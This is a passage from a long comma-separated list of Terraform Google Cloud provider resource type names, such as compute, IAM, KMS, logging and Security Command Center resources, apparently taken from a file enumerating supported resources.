"google_access_context_manager_service_perimeter_resource", "google_app_engine_application", "google_app_engine_application_url_dispatch_rules", "google_app_engine_domain_mapping", "google_app_engine_firewall_rule", "google_app_engine_flexible_app_version", "google_app_engine_service_split_traffic", "google_app_engine_standard_app_version", "google_bigquery_dataset", "google_bigquery_dataset_access", "google_bigquery_dataset_iam", "google_bigquery_job", "google_bigquery_table", "google_bigquery_data_transfer_config", "google_binary_authorization_attestor", "google_binary_authorization_attestor_iam", "google_binary_authorization_policy", "google_logging_billing_account_bucket_config", "google_logging_billing_account_exclusion", "google_logging_billing_account_sink", "google_logging_folder_bucket_config", "google_logging_folder_exclusion", "google_logging_folder_sink", "google_logging_metric", "google_logging_organization_bucket_config", "google_logging_organization_exclusion", "google_logging_organization_sink", "google_logging_project_bucket_config", "google_logging_project_exclusion", "google_logging_project_sink", "google_monitoring_alert_policy", "google_monitoring_dashboard", "google_monitoring_group", "google_monitoring_metric_descriptor", "google_monitoring_notification_channel", "google_monitoring_service", "google_monitoring_slo", "google_monitoring_uptime_check_config", "google_cloud_asset_folder_feed", "google_cloud_asset_organization_feed", "google_cloud_asset_project_feed", "google_bigtable_app_profile", "google_bigtable_gc_policy", "google_bigtable_instance", "google_bigtable_instance_iam", "google_bigtable_table", "google_cloudbuild_trigger", "google_composer_environment", "google_dns_managed_zone", "google_dns_policy", "google_dns_record_set", "google_deployment_manager_deployment", "google_endpoints_service", "google_endpoints_service_iam", "google_cloudfunctions_cloud_function_iam", "google_cloudfunctions_function", "google_healthcare_dataset", "google_healthcare_dataset_iam", "google_healthcare_dicom_store", "google_healthcare_dicom_store_iam", "google_healthcare_fhir_store", "google_healthcare_fhir_store_iam", "google_healthcare_hl7_v2_store", "google_healthcare_hl7_v2_store_iam", "google_cloudiot_device", "google_cloudiot_device_registry", "google_kms_crypto_key_iam", "google_kms_key_ring_iam", "google_kms_crypto_key", "google_kms_key_ring", "google_kms_key_ring_import_job", "google_kms_secret_ciphertext", "google_billing_account_iam_binding", "google_billing_account_iam_member", "google_billing_account_iam_policy", "google_folder", "google_folder_iam_audit_config", "google_folder_iam_binding", "google_folder_iam_member", "google_folder_iam_policy", "google_folder_organization_policy", "google_organization_iam_audit_config", "google_organization_iam_binding", "google_organization_iam_custom_role", "google_organization_iam_member", "google_organization_iam_policy", "google_organization_policy", "google_project", "google_project_iam_binding", "google_project_iam_member", "google_project_iam_custom_role", "google_project_organization_policy", "google_project_service", "google_service_account", "google_service_account_iam", "google_service_account_key", "google_usage_export_bucket", "google_pubsub_subscription", "google_pubsub_subscription_iam", "google_pubsub_topic", "google_pubsub_topic_iam", "google_cloud_run_domain_mapping", "google_cloud_run_service", "google_cloud_run_service_iam", "google_sql_database", "google_sql_database_instance", "google_sql_source_representation_instance", "google_sql_ssl_cert", "google_sql_user", "google_cloud_scheduler_job", "google_sourcerepo_repository", "google_sourcerepo_repository_iam", "google_spanner_database", "google_spanner_database_iam", "google_spanner_instance", "google_spanner_instance_iam", "google_storage_bucket", "google_storage_bucket_access_control", "google_storage_bucket_acl", "google_storage_bucket_iam_binding", "google_storage_bucket_iam_member", "google_storage_bucket_object", "google_storage_default_object_access_control", "google_storage_default_object_acl", "google_storage_hmac_key", "google_storage_notification", "google_storage_object_access_control", "google_storage_object_acl", "google_tpu_node", "google_cloud_tasks_queue", "google_compute_address", "google_compute_attached_disk", "google_compute_autoscaler", "google_compute_backend_bucket", "google_compute_backend_bucket_signed_url_key", "google_compute_backend_service", "google_compute_backend_service_signed_url_key", "google_compute_disk", "google_compute_disk_resource_policy_attachment", "google_compute_firewall", "google_compute_forwarding_rule", "google_compute_global_address", "google_compute_global_forwarding_rule", "google_compute_global_network_endpoint", "google_compute_global_network_endpoint_group", "google_compute_health_check", "google_compute_http_health_check", "google_compute_https_health_check", "google_compute_image", "google_compute_instance", "google_compute_instance_from_template", "google_compute_instance_group", "google_compute_instance_group_manager", "google_compute_instance_group_named_port", "google_compute_instance_iam", "google_compute_instance_template", "google_compute_interconnect_attachment", "google_compute_network", "google_compute_network_endpoint", "google_compute_network_endpoint_group", "google_compute_network_peering", "google_compute_network_peering_routes_config", "google_compute_node_group", "google_compute_node_template", "google_compute_project_default_network_tier", "google_compute_project_metadata", "google_compute_project_metadata_item", "google_compute_region_autoscaler", "google_compute_region_backend_service", "google_compute_region_disk", "google_compute_region_disk_resource_policy_attachment", "google_compute_region_health_check", "google_compute_region_instance_group_manager", "google_compute_region_ssl_certificate", "google_compute_region_target_http_proxy", "google_compute_region_target_https_proxy", "google_compute_region_url_map", "google_compute_reservation", "google_compute_resource_policy", "google_compute_route", "google_compute_router", "google_compute_router_bgp_peer", "google_compute_router_interface", "google_compute_router_nat", "google_compute_security_policy", "google_compute_shared_vpc_host_project", "google_compute_shared_vpc_service_project", "google_compute_snapshot", "google_compute_ssl_certificate", "google_compute_ssl_policy", "google_compute_subnetwork", "google_compute_subnetwork_iam", "google_compute_target_http_proxy", "google_compute_target_https_proxy", "google_compute_target_instance", "google_compute_target_pool", "google_compute_target_ssl_proxy", "google_compute_target_tcp_proxy", "google_compute_url_map", "google_compute_vpn_gateway", "google_compute_vpn_tunnel", "google_container_analysis_note", "google_container_analysis_occurrence", "google_container_registry", "google_data_catalog_entry", "google_data_catalog_entry_group", "google_data_catalog_entry_group_iam", "google_data_catalog_tag", "google_data_catalog_tag_template", "google_dataflow_job", "google_dataproc_autoscaling_policy", "google_dataproc_cluster", "google_dataproc_cluster_iam", "google_dataproc_job", "google_dataproc_job_iam", "google_datastore_index", "google_dialogflow_agent", "google_dialogflow_entity_type", "google_dialogflow_intent", "google_filestore_instance", "google_firestore_index", "google_identity_platform_default_supported_idp_config", "google_identity_platform_inbound_saml_config", "google_identity_platform_oauth_idp_config", "google_identity_platform_tenant", "google_identity_platform_tenant_default_supported_idp_config", "google_identity_platform_tenant_inbound_saml_config", "google_identity_platform_tenant_oauth_idp_config", "google_iap_app_engine_service_iam", "google_iap_app_engine_version_iam", "google_iap_brand", "google_iap_client", "google_iap_tunnel_instance_iam", "google_iap_web_backend_service_iam", "google_iap_web_iam", "google_iap_web_type_app_engine_iam", "google_iap_web_type_compute_iam", "google_container_cluster", "google_container_node_pool", "google_ml_engine_model", "google_redis_instance", "google_network_management_connectivity_test_resource", "google_os_config_patch_deployment", "google_os_login_ssh_public_key", "google_resource_manager_lien", "google_runtimeconfig_config", "google_runtimeconfig_config_iam", "google_runtimeconfig_variable", "google_secret_manager_secret", "google_secret_manager_secret_iam", "google_secret_manager_secret_version", "google_scc_source", "google_vpc_access_connector", "google_service_networking_connection", "google_storage_transfer_job", "google_project_iam", "google_storage_bucket_iam", "google_dataflow_flex_template_job", "google_active_directory_domain", "google_access_context_manager_access_level_condition", "google_access_context_manager_access_levels", "google_access_context_manager_gcp_user_access_binding", "google_access_context_manager_service_perimeters", "google_active_directory_domain_trust", "google_apigee_organization", "google_bigquery_dataset_iam_binding", "google_bigquery_dataset_iam_member", "google_bigquery_dataset_iam_policy", "google_bigquery_reservation", "google_bigquery_routine", "google_bigquery_table_iam_binding", "google_bigquery_table_iam_member", "google_bigquery_table_iam_policy", "google_bigtable_instance_iam_binding", "google_bigtable_instance_iam_member", "google_bigtable_instance_iam_policy", "google_bigtable_table_iam_binding", "google_bigtable_table_iam_member", "google_bigtable_table_iam_policy", "google_billing_budget", "google_billing_subaccount", "google_binary_authorization_attestor_iam_binding", "google_binary_authorization_attestor_iam_member", "google_binary_authorization_attestor_iam_policy", "google_cloud_identity_group", "google_cloud_identity_group_membership", "google_cloud_run_service_iam_binding", "google_cloud_run_service_iam_member", "google_cloud_run_service_iam_policy", "google_cloudfunctions_function_iam_binding", "google_cloudfunctions_function_iam_member", "google_cloudfunctions_function_iam_policy", "google_cloudiot_registry", "google_compute_disk_iam_binding", "google_compute_disk_iam_member", "google_compute_disk_iam_policy", "google_compute_external_vpn_gateway", "google_compute_ha_vpn_gateway", "google_compute_image_iam_binding", "google_compute_image_iam_member", "google_compute_image_iam_policy", "google_compute_instance_iam_binding", "google_compute_instance_iam_member", "google_compute_instance_iam_policy", "google_compute_managed_ssl_certificate", "google_compute_packet_mirroring", "google_compute_per_instance_config", "google_compute_region_disk_iam_binding", "google_compute_region_disk_iam_member", "google_compute_region_disk_iam_policy", "google_compute_region_network_endpoint_group", "google_compute_region_per_instance_config", "google_compute_router_peer", "google_compute_subnetwork_iam_binding", "google_compute_subnetwork_iam_member", "google_compute_subnetwork_iam_policy", "google_compute_target_grpc_proxy", "google_data_catalog_entry_group_iam_binding", "google_data_catalog_entry_group_iam_member", "google_data_catalog_entry_group_iam_policy", "google_data_loss_prevention_deidentify_template", "google_data_loss_prevention_inspect_template", "google_data_loss_prevention_job_trigger", "google_data_loss_prevention_stored_info_type", "google_dataproc_cluster_iam_binding", "google_dataproc_cluster_iam_member", "google_dataproc_cluster_iam_policy", "google_dataproc_job_iam_binding", "google_dataproc_job_iam_member", "google_dataproc_job_iam_policy", "google_endpoints_service_iam_binding", "google_endpoints_service_iam_member", "google_endpoints_service_iam_policy", "google_firestore_document", "google_folder_access_approval_settings", "google_game_services_game_server_cluster", "google_game_services_game_server_config", "google_game_services_game_server_deployment", "google_game_services_game_server_deployment_rollout", "google_game_services_realm", "google_healthcare_dataset_iam_binding", "google_healthcare_dataset_iam_member", "google_healthcare_dataset_iam_policy", "google_healthcare_dicom_store_iam_binding", "google_healthcare_dicom_store_iam_member", "google_healthcare_dicom_store_iam_policy", "google_healthcare_fhir_store_iam_binding", "google_healthcare_fhir_store_iam_member", "google_healthcare_fhir_store_iam_policy", "google_healthcare_hl7_v2_store_iam_binding", "google_healthcare_hl7_v2_store_iam_member", "google_healthcare_hl7_v2_store_iam_policy", "google_iap_app_engine_service_iam_binding", "google_iap_app_engine_service_iam_member", "google_iap_app_engine_service_iam_policy", "google_iap_app_engine_version_iam_binding", "google_iap_app_engine_version_iam_member", "google_iap_app_engine_version_iam_policy", "google_iap_tunnel_iam_binding", "google_iap_tunnel_iam_member", "google_iap_tunnel_iam_policy", "google_iap_tunnel_instance_iam_binding", "google_iap_tunnel_instance_iam_member", "google_iap_tunnel_instance_iam_policy", "google_iap_web_backend_service_iam_binding", "google_iap_web_backend_service_iam_member", "google_iap_web_backend_service_iam_policy", "google_iap_web_iam_binding", "google_iap_web_iam_member", "google_iap_web_iam_policy", "google_iap_web_type_app_engine_iam_binding", "google_iap_web_type_app_engine_iam_member", "google_iap_web_type_app_engine_iam_policy", "google_iap_web_type_compute_iam_binding", "google_iap_web_type_compute_iam_member", "google_iap_web_type_compute_iam_policy", "google_kms_crypto_key_iam_binding", "google_kms_crypto_key_iam_member", "google_kms_crypto_key_iam_policy", "google_kms_key_ring_iam_binding", "google_kms_key_ring_iam_member", "google_kms_key_ring_iam_policy", "google_monitoring_custom_service", "google_network_management_connectivity_test", "google_notebooks_environment", "google_notebooks_instance", "google_notebooks_instance_iam_binding", "google_notebooks_instance_iam_member", "google_notebooks_instance_iam_policy", "google_notebooks_location", "google_organization_access_approval_settings", "google_project_access_approval_settings", "google_project_default_service_accounts", "google_project_iam_audit_config", "google_project_iam_policy", "google_project_usage_export_bucket", "google_pubsub_lite_subscription", "google_pubsub_lite_topic", "google_pubsub_subscription_iam_binding", "google_pubsub_subscription_iam_member", "google_pubsub_subscription_iam_policy", "google_pubsub_topic_iam_binding", "google_pubsub_topic_iam_member", "google_pubsub_topic_iam_policy", "google_runtimeconfig_config_iam_binding", "google_runtimeconfig_config_iam_member", "google_runtimeconfig_config_iam_policy", "google_secret_manager_secret_iam_binding", "google_secret_manager_secret_iam_member", "google_secret_manager_secret_iam_policy", "google_service_account_iam_binding", "google_service_account_iam_member", "google_service_account_iam_policy", "google_sourcerepo_repository_iam_binding", "google_sourcerepo_repository_iam_member", "google_sourcerepo_repository_iam_policy", "google_spanner_database_iam_binding", "google_spanner_database_iam_member", "google_spanner_database_iam_policy", "google_spanner_instance_iam_binding", "google_spanner_instance_iam_member", "google_spanner_instance_iam_policy", "google_storage_bucket_iam_policy", "google_apigee_envgroup", "google_apigee_envgroup_attachment", "google_apigee_environment", "google_apigee_instance", "google_apigee_instance_attachment", "google_data_catalog_tag_template_iam_binding", "google_data_catalog_tag_template_iam_member", "google_data_catalog_tag_template_iam_policy", "google_eventarc_trigger", "google_healthcare_consent_store", "google_healthcare_consent_store_iam_binding", "google_healthcare_consent_store_iam_member", "google_healthcare_consent_store_iam_policy", "google_tags_tag_binding", "google_tags_tag_key", "google_tags_tag_key_iam_binding", "google_tags_tag_key_iam_member", "google_tags_tag_key_iam_policy", "google_tags_tag_value", "google_tags_tag_value_iam_binding", "google_tags_tag_value_iam_member", "google_tags_tag_value_iam_policy", "google_workflows_workflow", "google_apigee_environment_iam_binding", "google_apigee_environment_iam_member", "google_apigee_environment_iam_policy", "google_app_engine_service_network_settings", "google_assured_workloads_workload", "google_cloudbuild_worker_pool", "google_compute_firewall_policy", "google_compute_firewall_policy_association", "google_compute_firewall_policy_rule", "google_compute_service_attachment", "google_container_aws_cluster", "google_container_aws_node_pool", "google_container_azure_client", "google_container_azure_cluster", "google_container_azure_node_pool", "google_dataproc_workflow_template", "google_dialogflow_cx_agent", "google_dialogflow_cx_entity_type", "google_dialogflow_cx_environment", "google_dialogflow_cx_flow", "google_dialogflow_cx_intent", "google_dialogflow_cx_page", "google_dialogflow_cx_version", "google_dialogflow_fulfillment", "google_essential_contacts_contact", "google_gke_hub_membership", "google_memcache_instance", "google_network_services_edge_cache_keyset", "google_network_services_edge_cache_origin", "google_network_services_edge_cache_service", "google_notebooks_runtime", "google_notebooks_runtime_iam_binding", "google_notebooks_runtime_iam_member", "google_notebooks_runtime_iam_policy", "google_org_policy_policy", "google_os_config_os_policy_assignment", "google_privateca_ca_pool", "google_privateca_ca_pool_iam_binding", "google_privateca_ca_pool_iam_member", "google_privateca_ca_pool_iam_policy", "google_privateca_certificate", "google_privateca_certificate_authority", "google_privateca_certificate_template", "google_pubsub_lite_reservation", "google_pubsub_schema", "google_recaptcha_enterprise_key", "google_scc_notification_config", "google_service_networking_peered_dns_domain", "google_vertex_ai_dataset", "google_access_context_manager_access_policy_iam_binding", "google_access_context_manager_access_policy_iam_member", "google_access_context_manager_access_policy_iam_policy", "google_apigee_endpoint_attachment", "google_apikeys_key", "google_artifact_registry_repository", "google_artifact_registry_repository_iam_binding", "google_artifact_registry_repository_iam_member", "google_artifact_registry_repository_iam_policy", "google_bigquery_connection", "google_bigquery_connection_iam_binding", "google_bigquery_connection_iam_member", "google_bigquery_connection_iam_policy", "google_bigquery_reservation_assignment", "google_certificate_manager_certificate", "google_certificate_manager_certificate_map", "google_certificate_manager_certificate_map_entry", "google_certificate_manager_dns_authorization", "google_cloud_tasks_queue_iam_binding", "google_cloud_tasks_queue_iam_member", "google_cloud_tasks_queue_iam_policy", "google_clouddeploy_delivery_pipeline", "google_clouddeploy_target", "google_cloudiot_registry_iam_binding", "google_cloudiot_registry_iam_member", "google_cloudiot_registry_iam_policy", "google_compute_snapshot_iam_binding", "google_compute_snapshot_iam_member", "google_compute_snapshot_iam_policy", "google_data_fusion_instance", "google_dataplex_lake", "google_dataproc_autoscaling_policy_iam_binding", "google_dataproc_autoscaling_policy_iam_member", "google_dataproc_autoscaling_policy_iam_policy", "google_dataproc_metastore_service", "google_dataproc_metastore_service_iam_binding", "google_dataproc_metastore_service_iam_member", "google_dataproc_metastore_service_iam_policy", "google_document_ai_processor", "google_document_ai_processor_default_version", "google_endpoints_service_consumers_iam_binding", "google_endpoints_service_consumers_iam_member", "google_endpoints_service_consumers_iam_policy", "google_firebaserules_release", "google_firebaserules_ruleset", "google_iam_workload_identity_pool", "google_iam_workload_identity_pool_provider", "google_logging_log_view", "google_monitoring_monitored_project", "google_network_connectivity_hub", "google_network_connectivity_spoke", "google_privateca_certificate_template_iam_binding", "google_privateca_certificate_template_iam_member", "google_privateca_certificate_template_iam_policy", "google_vertex_ai_metadata_store", "google_apigee_nat_address", "google_beyondcorp_app_connector", "google_beyondcorp_app_gateway", "google_bigquery_analytics_hub_data_exchange", "google_bigquery_analytics_hub_data_exchange_iam_binding", "google_bigquery_analytics_hub_data_exchange_iam_member", "google_bigquery_analytics_hub_data_exchange_iam_policy", "google_bigquery_analytics_hub_listing", "google_bigquery_analytics_hub_listing_iam_binding", "google_bigquery_analytics_hub_listing_iam_member", "google_bigquery_analytics_hub_listing_iam_policy", "google_cloud_ids_endpoint", "google_cloud_run_v2_job", "google_cloud_run_v2_service", "google_cloudfunctions2_function", "google_cloudfunctions2_function_iam_binding", "google_cloudfunctions2_function_iam_member", "google_cloudfunctions2_function_iam_policy", "google_compute_network_firewall_policy", "google_compute_network_firewall_policy_association", "google_compute_network_firewall_policy_rule", "google_compute_region_network_firewall_policy", "google_compute_region_network_firewall_policy_association", "google_compute_region_network_firewall_policy_rule", "google_data_fusion_instance_iam_binding", "google_data_fusion_instance_iam_member", "google_data_fusion_instance_iam_policy", "google_dataplex_asset", "google_dataplex_zone", "google_datastream_connection_profile", "google_datastream_private_connection", "google_dialogflow_cx_webhook", "google_eventarc_channel", "google_eventarc_google_channel_config", "google_filestore_backup", "google_filestore_snapshot", "google_gke_hub_membership_iam_binding", "google_gke_hub_membership_iam_member", "google_gke_hub_membership_iam_policy", "google_identity_platform_config", "google_identity_platform_project_default_config", "google_kms_crypto_key_version", "google_scc_source_iam_binding", "google_scc_source_iam_member", "google_scc_source_iam_policy", "google_storage_transfer_agent_pool", "google_vertex_ai_endpoint", "google_vertex_ai_featurestore", "google_vertex_ai_featurestore_entitytype", "google_vertex_ai_featurestore_entitytype_feature", "google_vertex_ai_index", "google_vertex_ai_tensorboard", "google_access_context_manager_authorized_orgs_desc", "google_access_context_manager_egress_policy", "google_access_context_manager_ingress_policy", "google_access_context_manager_service_perimeter_egress_policy", "google_access_context_manager_service_perimeter_ingress_policy", "google_alloydb_backup", "google_alloydb_cluster", "google_alloydb_instance", "google_alloydb_user", "google_apigee_addons_config", "google_apigee_env_keystore", "google_apigee_env_references", "google_apigee_flowhook", "google_apigee_keystores_aliases_key_cert_file", "google_apigee_keystores_aliases_pkcs12", "google_apigee_keystores_aliases_self_signed_cert", "google_apigee_sharedflow", "google_apigee_sharedflow_deployment", "google_apigee_sync_authorization", "google_apigee_target_server", "google_beyondcorp_app_connection", "google_biglake_catalog", "google_biglake_database", "google_biglake_table", "google_bigquery_bi_reservation", "google_bigquery_capacity_commitment", "google_bigquery_datapolicy_data_policy", "google_bigquery_datapolicy_data_policy_iam_binding", "google_bigquery_datapolicy_data_policy_iam_member", "google_bigquery_datapolicy_data_policy_iam_policy", "google_billing_project_info", "google_certificate_manager_certificate_issuance_config", "google_certificate_manager_trust_config", "google_cloud_run_v2_job_iam_binding", "google_cloud_run_v2_job_iam_member", "google_cloud_run_v2_job_iam_policy", "google_cloud_run_v2_service_iam_binding", "google_cloud_run_v2_service_iam_member", "google_cloud_run_v2_service_iam_policy", "google_cloudbuild_bitbucket_server_config", "google_cloudbuildv2_connection", "google_cloudbuildv2_connection_iam_binding", "google_cloudbuildv2_connection_iam_member", "google_cloudbuildv2_connection_iam_policy", "google_cloudbuildv2_repository", "google_clouddomains_registration", "google_compute_disk_async_replication", "google_compute_network_endpoints", "google_compute_public_advertised_prefix", "google_compute_public_delegated_prefix", "google_compute_region_commitment", "google_compute_region_instance_template", "google_compute_region_ssl_policy", "google_compute_region_target_tcp_proxy", "google_container_analysis_note_iam_binding", "google_container_analysis_note_iam_member", "google_container_analysis_note_iam_policy", "google_container_attached_cluster", "google_data_catalog_policy_tag", "google_data_catalog_policy_tag_iam_binding", "google_data_catalog_policy_tag_iam_member", "google_data_catalog_policy_tag_iam_policy", "google_data_catalog_taxonomy", "google_data_catalog_taxonomy_iam_binding", "google_data_catalog_taxonomy_iam_member", "google_data_catalog_taxonomy_iam_policy", "google_data_pipeline_pipeline", "google_database_migration_service_connection_profile", "google_database_migration_service_private_connection", "google_dataplex_asset_iam_binding", "google_dataplex_asset_iam_member", "google_dataplex_asset_iam_policy", "google_dataplex_datascan", "google_dataplex_datascan_iam_binding", "google_dataplex_datascan_iam_member", "google_dataplex_datascan_iam_policy", "google_dataplex_lake_iam_binding", "google_dataplex_lake_iam_member", "google_dataplex_lake_iam_policy", "google_dataplex_task", "google_dataplex_task_iam_binding", "google_dataplex_task_iam_member", "google_dataplex_task_iam_policy", "google_dataplex_zone_iam_binding", "google_dataplex_zone_iam_member", "google_dataplex_zone_iam_policy", "google_datastream_stream", "google_dialogflow_cx_security_settings", "google_dialogflow_cx_test_case", "google_dns_managed_zone_iam_binding", "google_dns_managed_zone_iam_member", "google_dns_managed_zone_iam_policy", "google_dns_response_policy", "google_dns_response_policy_rule", "google_document_ai_warehouse_document_schema", "google_document_ai_warehouse_location", "google_edgecontainer_cluster", "google_edgecontainer_node_pool", "google_edgecontainer_vpn_connection", "google_edgenetwork_network", "google_edgenetwork_subnet", "google_firestore_backup_schedule", "google_firestore_database", "google_firestore_field", "google_gke_backup_backup_plan", "google_gke_backup_backup_plan_iam_binding", "google_gke_backup_backup_plan_iam_member", "google_gke_backup_backup_plan_iam_policy", "google_gke_backup_restore_plan", "google_gke_backup_restore_plan_iam_binding", "google_gke_backup_restore_plan_iam_member", "google_gke_backup_restore_plan_iam_policy", "google_gke_hub_feature", "google_gke_hub_feature_iam_binding", "google_gke_hub_feature_iam_member", "google_gke_hub_feature_iam_policy", "google_gke_hub_feature_membership", "google_gke_hub_fleet", "google_gke_hub_membership_binding", "google_gke_hub_namespace", "google_gke_hub_scope", "google_gke_hub_scope_iam_binding", "google_gke_hub_scope_iam_member", "google_gke_hub_scope_iam_policy", "google_gke_hub_scope_rbac_role_binding", "google_gkeonprem_bare_metal_admin_cluster", "google_gkeonprem_bare_metal_cluster", "google_gkeonprem_bare_metal_node_pool", "google_gkeonprem_vmware_cluster", "google_gkeonprem_vmware_node_pool", "google_iam_access_boundary_policy", "google_iam_deny_policy", "google_iam_workforce_pool", "google_iam_workforce_pool_provider", "google_iap_web_region_backend_service_iam_binding", "google_iap_web_region_backend_service_iam_member", "google_iap_web_region_backend_service_iam_policy", "google_integration_connectors_connection", "google_integration_connectors_endpoint_attachment", "google_logging_folder_settings", "google_logging_linked_dataset", "google_logging_organization_settings", "google_looker_instance", "google_migration_center_group", "google_netapp_active_directory", "google_netapp_backup_policy", "google_netapp_backup_vault", "google_netapp_kmsconfig", "google_netapp_storage_pool", "google_netapp_volume", "google_network_connectivity_policy_based_route", "google_network_connectivity_service_connection_policy", "google_network_security_address_group", "google_network_security_address_group_iam_binding", "google_network_security_address_group_iam_member", "google_network_security_address_group_iam_policy", "google_network_security_gateway_security_policy", "google_network_security_gateway_security_policy_rule", "google_network_security_url_lists", "google_network_services_gateway", "google_org_policy_custom_constraint", "google_public_ca_external_account_key", "google_pubsub_schema_iam_binding", "google_pubsub_schema_iam_member", "google_pubsub_schema_iam_policy", "google_redis_cluster", "google_scc_event_threat_detection_custom_module", "google_scc_folder_custom_module", "google_scc_mute_config", "google_scc_organization_custom_module", "google_scc_project_custom_module", "google_secure_source_manager_instance", "google_secure_source_manager_instance_iam_binding", "google_secure_source_manager_instance_iam_member", "google_secure_source_manager_instance_iam_policy", "google_storage_insights_report_config", "google_tags_location_tag_binding", "google_vertex_ai_feature_group", "google_vertex_ai_feature_group_feature", "google_vertex_ai_feature_online_store", "google_vertex_ai_feature_online_store_featureview", "google_vertex_ai_index_endpoint", "google_vmwareengine_cluster", "google_vmwareengine_external_access_rule", "google_vmwareengine_external_address", "google_vmwareengine_network", "google_vmwareengine_network_peering", "google_vmwareengine_network_policy", "google_vmwareengine_private_cloud", "google_vmwareengine_subnet", "google_workbench_instance", "google_workbench_instance_iam_binding", "google_workbench_instance_iam_member", "google_workbench_instance_iam_policy", "google_iam_policy", "google_tpu_v2_vm", "google_access_context_manager_service_perimeter_dry_run_egress_policy", "google_access_context_manager_service_perimeter_dry_run_ingress_policy", "google_access_context_manager_service_perimeter_dry_run_resource", "google_apigee_api", "google_apigee_app_group", "google_apigee_developer", "google_apigee_environment_addons_config", "google_apigee_environment_keyvaluemaps", "google_apigee_environment_keyvaluemaps_entries", "google_apihub_api_hub_instance", "google_apphub_application", "google_apphub_service", "google_apphub_service_project_attachment", "google_apphub_workload", "google_backup_dr_backup_vault", "google_beyondcorp_security_gateway", "google_beyondcorp_security_gateway_iam_binding", "google_beyondcorp_security_gateway_iam_member", "google_beyondcorp_security_gateway_iam_policy", "google_bigtable_authorized_view", "google_blockchain_node_engine_blockchain_nodes", "google_cloud_quotas_quota_preference", "google_clouddeploy_automation", "google_clouddeploy_custom_target_type", "google_clouddeploy_custom_target_type_iam_binding", "google_clouddeploy_custom_target_type_iam_member", "google_clouddeploy_custom_target_type_iam_policy", "google_clouddeploy_delivery_pipeline_iam_binding", "google_clouddeploy_delivery_pipeline_iam_member", "google_clouddeploy_delivery_pipeline_iam_policy", "google_clouddeploy_target_iam_binding", "google_clouddeploy_target_iam_member", "google_clouddeploy_target_iam_policy", "google_colab_runtime", "google_colab_runtime_template", "google_colab_runtime_template_iam_binding", "google_colab_runtime_template_iam_member", "google_colab_runtime_template_iam_policy", "google_composer_user_workloads_config_map", "google_composer_user_workloads_secret", "google_compute_instance_group_membership", "google_compute_instance_settings", "google_compute_instance_template_iam_binding", "google_compute_instance_template_iam_member", "google_compute_instance_template_iam_policy", "google_compute_interconnect", "google_compute_network_attachment", "google_compute_project_cloud_armor_tier", "google_compute_region_network_endpoint", "google_compute_resize_request", "google_compute_router_nat_address", "google_compute_security_policy_rule", "google_data_loss_prevention_discovery_config", "google_database_migration_service_migration_job", "google_dataplex_aspect_type", "google_dataplex_aspect_type_iam_binding", "google_dataplex_aspect_type_iam_member", "google_dataplex_aspect_type_iam_policy", "google_dataplex_entry_group", "google_dataplex_entry_group_iam_binding", "google_dataplex_entry_group_iam_member", "google_dataplex_entry_group_iam_policy", "google_dataplex_entry_type", "google_dataplex_entry_type_iam_binding", "google_dataplex_entry_type_iam_member", "google_dataplex_entry_type_iam_policy", "google_dataproc_batch", "google_dataproc_gdc_application_environment", "google_dataproc_gdc_service_instance", "google_dataproc_gdc_spark_application", "google_dataproc_metastore_federation", "google_dataproc_metastore_federation_iam_binding", "google_dataproc_metastore_federation_iam_member", "google_dataproc_metastore_federation_iam_policy", "google_developer_connect_connection", "google_developer_connect_git_repository_link", "google_discovery_engine_chat_engine", "google_discovery_engine_data_store", "google_discovery_engine_schema", "google_discovery_engine_search_engine", "google_discovery_engine_target_site", "google_edgenetwork_interconnect_attachment", "google_firebase_app_check_app_attest_config", "google_firebase_app_check_debug_token", "google_firebase_app_check_device_check_config", "google_firebase_app_check_play_integrity_config", "google_firebase_app_check_recaptcha_enterprise_config", "google_firebase_app_check_recaptcha_v3_config", "google_firebase_app_check_service_config", "google_gemini_code_repository_index", "google_gemini_repository_group", "google_gemini_repository_group_iam_binding", "google_gemini_repository_group_iam_member", "google_gemini_repository_group_iam_policy", "google_healthcare_pipeline_job", "google_healthcare_workspace", "google_iam_folders_policy_binding", "google_iam_organizations_policy_binding", "google_iam_principal_access_boundary_policy", "google_iam_projects_policy_binding", "google_iap_settings", "google_iap_tunnel_dest_group", "google_iap_tunnel_dest_group_iam_binding", "google_iap_tunnel_dest_group_iam_member", "google_iap_tunnel_dest_group_iam_policy", "google_integration_connectors_managed_zone", "google_integrations_auth_config", "google_integrations_client", "google_kms_ekm_connection", "google_kms_ekm_connection_iam_binding", "google_kms_ekm_connection_iam_member", "google_kms_ekm_connection_iam_policy", "google_logging_log_scope", "google_logging_log_view_iam_binding", "google_logging_log_view_iam_member", "google_logging_log_view_iam_policy", "google_managed_kafka_cluster", "google_managed_kafka_topic", "google_memorystore_instance", "google_migration_center_preference_set", "google_netapp_backup", "google_netapp_volume_replication", "google_netapp_volume_snapshot", "google_network_connectivity_group", "google_network_connectivity_internal_range", "google_network_connectivity_regional_endpoint", "google_network_management_vpc_flow_logs_config", "google_network_security_authz_policy", "google_network_security_client_tls_policy", "google_network_security_firewall_endpoint", "google_network_security_firewall_endpoint_association", "google_network_security_security_profile", "google_network_security_security_profile_group", "google_network_security_server_tls_policy", "google_network_security_tls_inspection_policy", "google_network_services_authz_extension", "google_network_services_lb_route_extension", "google_network_services_lb_traffic_extension", "google_oracle_database_autonomous_database", "google_oracle_database_cloud_exadata_infrastructure", "google_oracle_database_cloud_vm_cluster", "google_parallelstore_instance", "google_privileged_access_manager_entitlement", "google_project_iam_member_remove", "google_redis_cluster_user_created_connections", "google_scc_folder_notification_config", "google_scc_folder_scc_big_query_export", "google_scc_management_folder_security_health_analytics_custom_module", "google_scc_management_organization_event_threat_detection_custom_module", "google_scc_management_organization_security_health_analytics_custom_module", "google_scc_management_project_security_health_analytics_custom_module", "google_scc_organization_scc_big_query_export", "google_scc_project_notification_config", "google_scc_project_scc_big_query_export", "google_scc_v2_folder_mute_config", "google_scc_v2_folder_notification_config", "google_scc_v2_folder_scc_big_query_export", "google_scc_v2_organization_mute_config", "google_scc_v2_organization_notification_config", "google_scc_v2_organization_scc_big_query_export", "google_scc_v2_organization_scc_big_query_exports", "google_scc_v2_organization_source", "google_scc_v2_organization_source_iam_binding", "google_scc_v2_organization_source_iam_member", "google_scc_v2_organization_source_iam_policy", "google_scc_v2_project_mute_config", "google_scc_v2_project_notification_config", "google_scc_v2_project_scc_big_query_export", "google_secret_manager_regional_secret", "google_secret_manager_regional_secret_iam_binding", "google_secret_manager_regional_secret_iam_member", "google_secret_manager_regional_secret_iam_policy", "google_secret_manager_regional_secret_version", "google_secure_source_manager_branch_rule", "google_secure_source_manager_repository", "google_secure_source_manager_repository_iam_binding", "google_secure_source_manager_repository_iam_member", 